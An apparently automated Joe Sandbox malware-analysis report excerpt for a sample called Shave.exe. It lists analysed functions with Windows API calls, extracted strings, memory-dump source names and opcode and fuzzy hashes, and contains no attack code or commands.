Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: e86e6fd2e5cb5672620ff5ab575da48d8fe54f653cf1da9627cee5843be69ab4
Instruction ID: f8c60df0673843c4a96ed35a73ceba2ba355a7ad566f59c539dda5576aee505e
Opcode Fuzzy Hash: e86e6fd2e5cb5672620ff5ab575da48d8fe54f653cf1da9627cee5843be69ab4
Instruction Fuzzy Hash: B301BC72500219EADF21CF50CC09EDB3BA8EB04360F01803AFD16A6191E778D964CBA4

Function 00405880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 004058A9
CloseHandle.KERNEL32(?), ref: 004058B6

Strings

Error launching installer, xrefs: 00405893

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction ID: b039bfc1fd8153a77b97507ee8e8b42fe9752dbefc529c56e43fdfa491991b30
Opcode Fuzzy Hash: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction Fuzzy Hash: 6CE0B6F5600209BFFB00AF64ED09E7B7BACEB58605F058525BD51F2290D6B998148A78

Function 004038F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75923420,004038CA,004036E0,00000006,?,00000006,00000008,0000000A), ref: 0040390C
GlobalFree.KERNEL32(00AAF7B0), ref: 00403913

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403904

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction ID: 827a6d7c30b52d61f5a2dbff04e35f254d4b7381da6d9dc608e34789494937b8
Opcode Fuzzy Hash: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction Fuzzy Hash: 58E0CD334010205BC6115F04FE0475A77685F45B22F16003BFC807717147B41C538BC8

Function 00405BB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Shave.exe,C:\Users\user\Desktop\Shave.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BBE
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Shave.exe,C:\Users\user\Desktop\Shave.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BCE

Strings

C:\Users\user\Desktop, xrefs: 00405BB8

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: d1e11866c06308db2688671cfe2e39cf8e5f3b64411c1caee3e249c785e2e979
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: BDD05EB34109209AC3126B08DC00D9F77BCEF11301746486AF440A6161D7786C8186AD

Function 6F9710E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6F97116A
GlobalFree.KERNEL32(00000000), ref: 6F9711C7
GlobalFree.KERNEL32(00000000), ref: 6F9711D9
GlobalFree.KERNEL32(?), ref: 6F971203

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 2d14bd1ffd1890e482ea2ed5f90e778de45603a91b2c432fd7472276dbbf2ee7
Instruction ID: 3b95bb6c921c44183f04204b4b44f1242019bd86ddc6864028fc09603f8ad1fd
Opcode Fuzzy Hash: 2d14bd1ffd1890e482ea2ed5f90e778de45603a91b2c432fd7472276dbbf2ee7
Instruction Fuzzy Hash: 22318CB2508321DBEB308F7CD955A6677E8FB57720B00062AE844DB295EF35E8918F61

Function 00405CF2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D02
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D1A
CharNextA.USER32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D2B
lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D34

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: 076f441daad098c1e87a0755c7bbd60db18a276d6ce73f7d9d897af98e652dc6
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: E5F0F631204918FFC7129FA4DD0499FBBB8EF06354B2580BAE840FB211D674DE01AFA8

Analysis Process: Shave.exePID: 7044, Parent PID: 1216COMMON

Executed Functions

Function 001529E0 Relevance: 8.2, Strings: 6, Instructions: 685COMMON

Download Yara Rule

Strings

Xaq, xrefs: 00152B57
Xaq, xrefs: 00152A9E
Xaq, xrefs: 00152AD8
Xaq, xrefs: 00152BA4
Xaq, xrefs: 00153CF6
Xaq, xrefs: 00153CCD

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq$Xaq$Xaq
API String ID: 0-499371476
Opcode ID: 31dd5c624c43f10c95a70351146f6093d9916e8c44e71c5157cd28c808bbb579
Instruction ID: 25f1638fbf853bdbedca29ba1ab9e57d675f09bba56f47c347530b9683a55a05
Opcode Fuzzy Hash: 31dd5c624c43f10c95a70351146f6093d9916e8c44e71c5157cd28c808bbb579
Instruction Fuzzy Hash: 59326D6684D7D48FCB638B7848E815B7FB16F82205B8945DFC4D78B687DB28C609C362

Function 00155362 Relevance: 6.4, Strings: 5, Instructions: 195COMMON

Download Yara Rule

Strings

PH]q, xrefs: 001555C8
Lj@p, xrefs: 00155550
0o@p, xrefs: 001553E2
PH]q, xrefs: 001555D9
Lj@p, xrefs: 00155566

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: e61419d8b98c72f336042e8965ba84a5889e32d096cf3d184a83781aab89aa80
Instruction ID: bb1885aa7003f1960e681075794e30332fcfb03913091897f305254f0985150f
Opcode Fuzzy Hash: e61419d8b98c72f336042e8965ba84a5889e32d096cf3d184a83781aab89aa80
Instruction Fuzzy Hash: 4991F774E00618CFDB18DFA9C894A9DBBF2BF89301F15C0A9D819AB365DB349985CF10

Function 0015C468 Relevance: 6.4, Strings: 5, Instructions: 191COMMON

Download Yara Rule

Strings

Lj@p, xrefs: 0015C65D
Lj@p, xrefs: 0015C647
PH]q, xrefs: 0015C6D0
0o@p, xrefs: 0015C4DA
PH]q, xrefs: 0015C6BF

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 8a53c557fbe0ce47ef9791f07829e9d2ff99986bf9d48a60e2f921b42f467c67
Instruction ID: b0dbf31f1c9c3cfbbcca4b78b19e2528946aaf8c4ff16971a912755746450698
Opcode Fuzzy Hash: 8a53c557fbe0ce47ef9791f07829e9d2ff99986bf9d48a60e2f921b42f467c67
Instruction Fuzzy Hash: 4681D674E00218CFDB18DFAAC884A9DBBF2BF89301F14D069E819AB365DB349945CF50

Function 0015C19B Relevance: 6.4, Strings: 5, Instructions: 188COMMON

Download Yara Rule

Strings

Lj@p, xrefs: 0015C38D
PH]q, xrefs: 0015C400
PH]q, xrefs: 0015C3EF
Lj@p, xrefs: 0015C377
0o@p, xrefs: 0015C20A

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: a8dd65cef3a3c70eb4b323071c1c39d11ca20952f9d3efc826b5c04455a08126
Instruction ID: 6c5ed276ca7c05f3efe2b762fb2a682b979f19f8ea41af862fbbc38bc6c4bd5e
Opcode Fuzzy Hash: a8dd65cef3a3c70eb4b323071c1c39d11ca20952f9d3efc826b5c04455a08126
Instruction Fuzzy Hash: DA81B474E00218CFDB58DFAAD894A9DBBF2BF89301F14C069E819AB365DB349945CF50

Function 0015D278 Relevance: 6.4, Strings: 5, Instructions: 188COMMON

Download Yara Rule

Strings

0o@p, xrefs: 0015D2EA
PH]q, xrefs: 0015D4CF
PH]q, xrefs: 0015D4E0
Lj@p, xrefs: 0015D46D
Lj@p, xrefs: 0015D457

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 3f051da7869ec3f3888122eb0337edaae5ed3c253180d5843757cd33a4a4fcd2
Instruction ID: 8b5bc1ace3d0b8b3deaccb135d1e5582aad461b133986ed771a721db0214e0f2
Opcode Fuzzy Hash: 3f051da7869ec3f3888122eb0337edaae5ed3c253180d5843757cd33a4a4fcd2
Instruction Fuzzy Hash: 4781C774E00258CFDB14DFAAD884A9DBBF2BF89301F14C069E819AB365DB34A945CF50

Function 0015CA08 Relevance: 6.4, Strings: 5, Instructions: 187COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0015CC70
0o@p, xrefs: 0015CA7A
PH]q, xrefs: 0015CC5F
Lj@p, xrefs: 0015CBFD
Lj@p, xrefs: 0015CBE7

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 0709e9ba7f027a74554fa378b0accee2ed06ea48518dc8287322bb466afa35e5
Instruction ID: dfa26a8f641678347a1a27eb7f5c76879314b7fe5ebc7bc0dae94e50a8c0b361
Opcode Fuzzy Hash: 0709e9ba7f027a74554fa378b0accee2ed06ea48518dc8287322bb466afa35e5
Instruction Fuzzy Hash: 7A81A374E00218CFDB18DFAAD994A9DBBF2BF89301F14C069E819AB365DB349945CF50

Function 0015CCD8 Relevance: 6.4, Strings: 5, Instructions: 186COMMON

Download Yara Rule

Strings

0o@p, xrefs: 0015CD4A
Lj@p, xrefs: 0015CECD
PH]q, xrefs: 0015CF40
PH]q, xrefs: 0015CF2F
Lj@p, xrefs: 0015CEB7

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: fad2fd1ff2e7aee67950c64908abb563c83ec9893bf790b6e6d546d1d3e74bdc
Instruction ID: d9d885493b74a6084d2338a49a39d0a3a28ca45e2c3ae498f250f917758563c7
Opcode Fuzzy Hash: fad2fd1ff2e7aee67950c64908abb563c83ec9893bf790b6e6d546d1d3e74bdc
Instruction Fuzzy Hash: 2481A374E00218DFDB18DFAAD984A9DBBF2BF89301F14C069E819AB365DB349945CF50

Function 0015C738 Relevance: 6.4, Strings: 5, Instructions: 185COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0015C9A0
PH]q, xrefs: 0015C98F
Lj@p, xrefs: 0015C917
0o@p, xrefs: 0015C7AA
Lj@p, xrefs: 0015C92D

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: ec559539cba9feb1421b7daae0b50bd164a549aad761ed563e12bace2b4e89ab
Instruction ID: 0e91de1d98b0151ae9d6f102dffe5bc05676dc99f2ae659414dd799edf7204a8
Opcode Fuzzy Hash: ec559539cba9feb1421b7daae0b50bd164a549aad761ed563e12bace2b4e89ab
Instruction Fuzzy Hash: D581D474E00218CFDB18DFAAD984A9DBBF2BF88305F14C069E819AB365DB349945CF50

Function 0015CFAC Relevance: 6.4, Strings: 5, Instructions: 185COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0015D210
Lj@p, xrefs: 0015D187
PH]q, xrefs: 0015D1FF
Lj@p, xrefs: 0015D19D
0o@p, xrefs: 0015D01A

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 752fa01cf76e920bb34815aa396b10ffa9f066c7f7303389f838572d2263115b
Instruction ID: 2a6de808d66c323796ba8e57f067245f5b732196f6b481eb735285cba47a6cb6
Opcode Fuzzy Hash: 752fa01cf76e920bb34815aa396b10ffa9f066c7f7303389f838572d2263115b
Instruction Fuzzy Hash: B081C574E00618CFDB18DFAAD984A9DBBF2BF89301F14C069E819AB365DB349945CF50

Function 00159DE0 Relevance: 6.1, Strings: 4, Instructions: 1137COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0015A518
4']q, xrefs: 00159F0C
4']q, xrefs: 0015AB13
4']q, xrefs: 00159E04

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: (o]q$4']q$4']q$4']q
API String ID: 0-875651895
Opcode ID: aa11cfffdbbc4ee5990667e3ee2e72fee7fdd143fcffcd2ed5449e172cb89dd8
Instruction ID: ba8fe82d2e3721e3aecff08fbe0d256810c64a1fb7e7de0cd7ad54561b75e15f
Opcode Fuzzy Hash: aa11cfffdbbc4ee5990667e3ee2e72fee7fdd143fcffcd2ed5449e172cb89dd8
Instruction Fuzzy Hash: 5CA28130644209CFCB15CF68C994AAEBBF2BF88301F558659E815DF261D734ED89CB52

Function 00156FC8 Relevance: 5.5, Strings: 4, Instructions: 451COMMON

Download Yara Rule

Strings

(o]q, xrefs: 00157212
(o]q, xrefs: 00157220
,aq, xrefs: 00157298
,aq, xrefs: 0015728A

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq
API String ID: 0-1947289240
Opcode ID: 09e2740637d7c247116a78911a2fa9411ce79cfeb328e201610e4248f8d44ee9
Instruction ID: 1402e258e3bbc8a771ae9564bee119c2f00f5d0033c9e8ea1b31a2ac45ec5bd9
Opcode Fuzzy Hash: 09e2740637d7c247116a78911a2fa9411ce79cfeb328e201610e4248f8d44ee9
Instruction Fuzzy Hash: EA026030A04219DFCB15CF68E885AADBBF2BF49302F558469EC25EB2A1D730DD49CB51

Function 38315028 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 38318408

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 7b7e8a573bef4fde87b26870937966bd48d2e699a38ff7f0f13ab5abf93b845a
Instruction ID: 3c8d23b28fa7972029252d3270b683cf5d0fa8474be38e326b7f586aa11f6e29
Opcode Fuzzy Hash: 7b7e8a573bef4fde87b26870937966bd48d2e699a38ff7f0f13ab5abf93b845a
Instruction Fuzzy Hash: 7173E631C1075A8EDB11EF68C854AADFBB1FF99300F51D69AE44867221EB70AAD4CF41

Function 379F5CB6 Relevance: 3.6, Strings: 2, Instructions: 1110COMMON

Download Yara Rule

Strings

Te]q, xrefs: 379F6665
4U%5, xrefs: 379F5FAF, 379F6318, 379F6916, 379F6EC7, 379F7151

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5$Te]q
API String ID: 0-1459978942
Opcode ID: 7534f67f1a1bb7ace0e505f8b0a507f4b37ac5411ed5758d2310ba2f6775189e
Instruction ID: eb0056121c13c67f26c0c6d8fee66e5205f7b3aca28a7beeb7aa042bf0bd0fb9
Opcode Fuzzy Hash: 7534f67f1a1bb7ace0e505f8b0a507f4b37ac5411ed5758d2310ba2f6775189e
Instruction Fuzzy Hash: 74C2C274A01229CFDB64DF24C994BADB7B6BF89300F2081E9D90967361DB35AE85CF44

Function 379F3FB2 Relevance: 3.6, Strings: 2, Instructions: 1102COMMON

Download Yara Rule

Strings

Te]q, xrefs: 379F493D
Te]q, xrefs: 379F4916

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 946067836f66978ee4b5a6d6f3eb41b14f844d77ec87fa81668624422cd4757d
Instruction ID: c537d4af73d179eb55da3a44695488c8d1fc075d3a103db54ef9c3f8cc0be841
Opcode Fuzzy Hash: 946067836f66978ee4b5a6d6f3eb41b14f844d77ec87fa81668624422cd4757d
Instruction Fuzzy Hash: 95C2D274A01228CFDB64DF24C994BADBBB6FB49300F2081E9D909A7361DB359E85CF44

Function 001569A0 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

Haq, xrefs: 00156DA6
(o]q, xrefs: 00156EDA

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: (o]q$Haq
API String ID: 0-903699183
Opcode ID: 42d5f0b62a28932d8fd62fbc84ee49e91fdc76708527da9cd58272ff656c5a69
Instruction ID: f9ab3b14fd359f243cb62ca6a25bce92650501938d0f7d80c13f919600d82e27
Opcode Fuzzy Hash: 42d5f0b62a28932d8fd62fbc84ee49e91fdc76708527da9cd58272ff656c5a69
Instruction Fuzzy Hash: 10128E70B00219CFDB14DF69C854AAEBBF6BF88301F208569E859DB3A5DB309D45CB91

Function 04B081D0 Relevance: 2.7, Strings: 2, Instructions: 182COMMON

Download Yara Rule

Strings

PH]q, xrefs: 04B0841B
PH]q, xrefs: 04B0840A

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 8d4479e5ead7254de6013cbd5aea1e356991c0307778009d83e629132bf41733
Instruction ID: 7cad319b66f41462ee5437e999c6bf03f8bac9f713d065de70e75b1a74d3a3b7
